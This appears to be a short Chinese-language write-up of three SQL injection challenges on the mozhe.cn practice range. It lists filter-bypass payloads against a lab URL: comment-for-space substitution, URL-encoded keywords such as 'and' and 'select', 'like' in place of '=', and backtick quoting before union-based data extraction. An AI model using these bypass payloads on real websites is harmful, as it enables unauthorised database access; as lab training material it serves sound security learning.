靶场地址
第一题:https://www.mozhe.cn/bug/detail/a1diUUZsa3ByMkgrZnpjcWZOYVEyUT09bW96aGUmozhe
第二题:https://www.mozhe.cn/bug/detail/RkxnbzB6WWpWWjBuTDEyamZXNmJiQT09bW96aGUmozhe
第三题:
https://www.mozhe.cn/bug/detail/ZVBYR3I3eG9USnpIT0xqaDdtR09SQT09bW96aGUmozhe
题解
第一题
url:http://219.153.49.228:42443/new_list.php?id=1
①id=1',id=2
页面变化
id=1 and 1 = 1,id=1 and 1=2
页面重定向id=1
②id=1%20
,重定向
id=1/**/
,未重定向
说明过滤了空格
③id=1/**/and
,重定向
对and进行url编码,即id=1/**/%61%6e%64
,未重定向且url自动解码
说明会对字母进行url编码,或者会对黑名单函数进行url编码
④id=1/**/%61%6e%64/**/1/**/=/**/1
,页面正常未重定向
id=1/**/%61%6e%64/**/1/**/=/**/2
,页面重定向
按道理1=1页面正常,说明=
没有被过滤,而1=2
重定向,这里可能不是单纯的黑名单过滤=
,尝试用别的函数代替=,比如like
id=1/**/%61%6e%64/**/1/**/like/**/2
得到想要的结果,此时like没有url编码,验证了仅对黑名单函数进行url编码
⑤既然完全摸清黑名单比较麻烦,干脆直接全部url编码,之后就是常规的联合查询
第二题
思路和第一题基本一致,黑名单绕过除了完全url编码也可以用部分url编码
例如
select ——>%72elect
第三题
貌似啥也没过滤…
最后爆数据的时候需要注意一下,因为表名是(@dmin9_td4b}
,用单引号、双引号都会冲突,用反引号即可